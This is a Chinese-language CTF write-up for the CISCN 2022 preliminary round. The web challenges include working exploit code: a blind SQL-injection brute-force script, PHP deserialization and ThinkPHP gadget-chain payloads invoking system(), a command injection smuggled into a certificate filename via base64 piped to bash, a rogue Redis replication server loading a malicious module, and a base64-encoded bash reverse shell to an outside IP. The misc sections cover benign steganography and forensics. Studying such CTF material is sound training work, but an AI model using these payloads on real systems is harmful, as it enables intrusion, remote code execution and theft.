CISCN 2022初赛 [toc]
WEB Ezpentest(赛后复现) 这个题把黑名单当作hint藏着,想要提高难度也不至于这样提高吧。 题目后来给出的waf:
<?php function safe ($a ) { $r = preg_replace('/[\s,()#;*~\-]/' ,'' ,$a ); $r = preg_replace('/^.*(?=union|binary|regexp|rlike).*$/i' ,'' ,$r ); return (string )$r ; }?>
首先是sql注入,payload和虎符ctf的做法差不多,改改就行了。
利用like去正则匹配password这一列的数据,如果匹配到就返回9223372036854775807+1 这个表达式,而这个表示执行后会导致数据溢出,服务器会报500,否则就返回’0’,服务器会报error
+’’是因为过滤了空白符号,所以用来连接起sql语句的,这里的数据溢出同样可以用18446744073709551615+1,这个18446744073709551615的值其实就是~0
,也就是说这个payload就是~0+1
utf8mb4_bin是用来区分大小写的,因为like正则匹配是不区分大小写的
case用来解决优先级问题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import requestsimport string payload="0'||case'1'when`username`collate'utf8mb4_bin'like'{}%'then+9223372036854775807+1+''else'0'end||'" list = string.ascii_letters + string.digits + '^$!_%@&' url = 'http://1.14.71.254:28029/login.php' j='' while 1 : for i in list : if (i in '%_' ): i = "\\" + i now_payload=payload.format (j+i) data={ 'password' : now_payload, 'username' : 'aaa' } re = requests.post(url,data=data) if re.status_code==500 : j+=i print (j) break
登录之后提示/1Nd3x_Y0u_N3v3R_Kn0W.php
,给了SomeClass.php反序列化源码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 <?php class A { public $a ; public $b ; public function see ( ) { $b = $this ->b; $checker = new ReflectionClass(get_class($b )); if (basename($checker ->getFileName()) != 'SomeClass.php' ){ if (isset ($b ->a)&&isset ($b ->b)){ ($b ->a)($b ->b."" ); } } } }class B { public $a ; public $b ; public function __toString ( ) { $this ->a->see(); return "1" ; } }class C { public $a ; public $b ; public function __toString ( ) { $this ->a->read(); return "lock lock read!" ; } }class D { public $a ; public $b ; public function read ( ) { $this ->b->learn(); } }class E { public $a ; public $b ; public function __invoke ( ) { $this ->a = $this ->b." Powered by PHP" ; } public function __destruct ( ) { die ($this ->a); } }class F { public $a ; public $b ; public function __call ($t1 ,$t2 ) { $s1 = $this ->b; $s1 (); } }?>
并且登录之后可以看到还有一段用PHPJiaMi混淆的代码。https://github.com/wenshui2008/phpjiami_decode
利用curl下载混淆的代码保存为php文件。
curl http:// 1.14 .71.254 :28029 /login.php --cookie "PHPSESSID=b9ce132a83f74b050ce8583ab371a964" -o ./ 1 .php
利用工具解混淆,得到另一段源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php session_start();if (!isset ($_SESSION ['login' ])){ die (); }function Al ($classname ) { include $classname .".php" ; }if (isset ($_REQUEST ['a' ])){ $c = $_REQUEST ['a' ]; $o = unserialize($c ); if ($o === false ) { die ("Error Format" ); }else { spl_autoload_register('Al' ); $o = unserialize($c ); $raw = serialize($o ); if (preg_match("/Some/i" ,$raw )){ throw new Error ("Error" ); } $o = unserialize($raw ); var_dump($o ); } }else { echo file_get_contents("SomeClass.php" ); }
反序列化中的链子很简单E::__destruct()->B::__toString()->A::see()
但是最后rce的地方限制了类名,找个php原生类就行了,例如Error,ArrayObject等。但是还需要绕过throw new Error("Error");
对于包含反序列化文件SomeClass.php
的限制。 有两种方法可以绕过。PHP反序列化小技巧之Fast Destruct
利用__PHP_Incomplete_Class绕过正则,形如a:1:{i:1;O:22:"__PHP_Incomplete_Class":1:{s:2:"aa";a:0:{}}}}
利用fast_destrust提前进入destrust。我们可以两种做法,第一种是删除最后的大括号,第二种是数组对象占用指针(改数字)。但是这里有对序列化数据格式正确与否进行校验所以无法使用第一种。
第一种方法
class SomeClass { }$someclass = new SomeClass();$e = new E();$b = new B();$a = new A();$f = new ArrayObject ();$e ->a = $b ;$b ->a=$a ;$a ->b = $f ;$f ->a = "system" ;$f ->b = "cat /nssctfflag" ;$res = array ($someclass ,$e );$payload = 'a:1:{i:1;O:22:"__PHP_Incomplete_Class":1:{s:2:"aa";' .serialize($res ).'}}}' ;echo $payload ;
第二种方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 class SomeClass { public $a ; }$e = new E();$a = new A();$b = new B();$e ->a = $b ;$b ->a = $a ;$arr = new ArrayObject ();$arr ->a = "system" ;$arr ->b = "cat /nssctfflag" ;$a ->b = $arr ;$c = new SomeClass();$c ->a = $e ;echo str_replace("i:1;" , "i:0;" , serialize(array ($c ,1 )));
Ezpop /s=Index/test
直接打即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php namespace think { abstract class Model { private $lazySave = false ; private $data = []; private $exists = false ; protected $table ; private $withAttr = []; protected $json = []; protected $jsonAssoc = false ; function __construct ($obj = '' ) { $this ->lazySave = True ; $this ->data = ['whoami' => ['cat /flag.txt' ]]; $this ->exists = True ; $this ->table = $obj ; $this ->withAttr = ['whoami' => ['system' ]]; $this ->json = ['whoami' ,['whoami' ]]; $this ->jsonAssoc = True ; } } }namespace think \model { use think \Model ; class Pivot extends Model { } }namespace { echo (urlencode (serialize (new think \model \Pivot (new think \model \Pivot ())))); }
online_crt url编码可以得到rawpath,host改成admin。然后向文件名内注入命令。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 import requests s= requests.session() url = "http://eci-2zebelhabwvwlf4wdymv.cloudeci1.ichunqiu.com:8888" path = s.post(url+'/getcrt' ,data={ "Country" : "CN" , "Province" : "a" , "City" : "a" , "OrganizationalName" : "a" , "CommonName" : "a" , "EmailAddress" : "aaa@aa.com" })print (path.text) res = requests.request('get' ,url+'/proxy' ,data={ "uri" :"""/admin%2frename?oldname=57c0d192-d1a6-4807-b90e-fabbc8665a75.crt&newname=%22%7c%65%63%68%6f%20%22%59%32%46%30%49%43%39%6d%62%47%46%6e%22%20%7c%62%61%73%65%36%34%20%2d%64%7c%62%61%73%68%3b%22%73%73%2e%63%72%74 HTTP/1.1\r Host: admin\r Origin: \r User-Agent: Guest\r Accept-Encoding: gzip, deflate\r Accept-Language: zh-CN,zh;q=0.9\r Connection: close\r \r \r """ })print (res.request.body)print (res.text)
cmdbrowser 用telnet://127.0.0.1:6379
可直接连接到本地redis,之后打主从复制就行了。不过后面存在/readflag
计算器读flag限制,需要弹shell交互,弹shell卡了半年。。。 恶意redis服务脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 import socketimport time CRLF="\r\n" payload=open ("exp.so" ,"rb" ).read() exp_filename="exp.so" def redis_format (arr ): global CRLF global payload redis_arr=arr.split(" " ) cmd="" cmd+="*" +str (len (redis_arr)) for x in redis_arr: cmd+=CRLF+"$" +str (len (x))+CRLF+x cmd+=CRLF return cmddef redis_connect (rhost,rport ): sock=socket.socket() sock.connect((rhost,rport)) return sockdef send (sock,cmd ): sock.send(redis_format(cmd)) print (sock.recv(1024 ).decode("utf-8" ))def RogueServer (lport ): global CRLF global payload flag=True result="" sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.bind(("0.0.0.0" ,lport)) sock.listen(10 ) clientSock, address = sock.accept() print ("\033[92m[+]\033[0m Accepted connection from {}:{}" .format (address[0 ], address[1 ])) while flag: data = clientSock.recv(1024 ) print (data) if "PING" in data.decode(): result="+PONG" +CRLF clientSock.send(result) flag=True print (result) elif "REPLCONF" in data: result="+OK" +CRLF clientSock.send(result) flag=True print (result) elif "PSYNC" in data or "SYNC" in data: result = "+FULLRESYNC " + "a" * 40 + " 1" + CRLF result += "$" + str (len (payload)) + CRLF result = result.encode() result += payload result += CRLF clientSock.send(result) print ("\033[92m[+]\033[0m FULLRESYNC ..." ) flag=False print ("\033[92m[+]\033[0m It's done" )if __name__=="__main__" : lport=2333 RogueServer(lport)
记录一下redis弹shell命令。其实很简单就base一下。
system.exec 'echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8zOS4xMDcuMjM5LjMwLzEyMzQ1IDA+JjE=" |base64 -d |bash -i'
最后trap "" 14
即可让/readflag
停住
Misc everlasting_night 首先是 通过alpha通道发现可疑字符串 利用 带密钥lsb脚本解密 得到另一个带密码的png。 然后原图末尾有16字节32个字符,通过somd5反查得到字符串 为 带密钥lsb解出的zip密码 然后png无法打开,通过暴力枚举的方式进行查看 虽然是PNG但事实BMP 的文件结构
from PIL import Image col="" img = Image.new("RGB",(1000,1000)) for i in range(0,len(col),6): color = (int(col[i+2:i+4],16),int(col[i:i+2],16),int(col[i+4:i+6],16)) img.putpixel((((i//6)%704),(i//6)//704),color) img.show()
babydisk 取证大师恢复文件得到一个 音频wav一个 SECRET 被TRUECRYPT加密过,测试发现 wav被deepsound加密了。用deepsound2john爆破得到密码feedback,解密得到Truecrypt 密码。继续利用取证大师挂在TRUECRYPT加密文件得到serial.zip,搜索发现螺旋 利用网上脚本写个反向得出来。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 #include <stdio.h> void space (int , int ) ;int main () { int matrix[101 ][101 ]; int m; int n; int i, j; m=87 ,n=87 ; freopen("result.txt" ,"r" ,stdin ); freopen("final.txt" ,"w" ,stdout ); int up = 0 , left = 0 , down = m-1 , right = n-1 ; int k, num = 0 ; while (up <= down && left <= right) { for (k = left; k <= right; k++) { scanf ("%d" , &matrix[up][k]); num++; space(num, m*n); } up++; if (num == m*n) break ; for (k = up; k <= down; k++) { scanf ("%d" , &matrix[k][right]); num++; space(num, m*n); } right--; if (num == m*n) break ; for (k = right ; k >= left; k--) { scanf ("%d" ,&matrix[down][k]); num++; space(num, m*n); } down--; if (num == m*n) break ; for (k = down; k >= up; k--) { scanf ("%d" , &matrix[k][left]); num++; space(num, m*n); } left++; if (num == m*n) break ; } for (int i=0 ;i<m;i++) for (int j=0 ;j<n;j++){ printf ("%d " ,matrix[i][j]); } return 0 ; }void space (int num,int all) { if (num < all) printf (" " ); }
"" data=open ('result.txt' ,'w' )for i in files .read (): data.write (str(i)+' ' )"" res =open ('final.txt' ,'r' ).read () ok=res .split ()print (len (ok)) from Crypto.Util.number import * flag=open ("flag.zip" ,'wb' )for i in ok: flag.write (long_to_bytes(int (i)))
拿到图片之后手动解个螺旋。得到flag。
ez_usb 流量提取2.8.1和2.10.1两个设备得键盘。 一个是rar密码,一个是加密rar。 用网上常见脚本即可。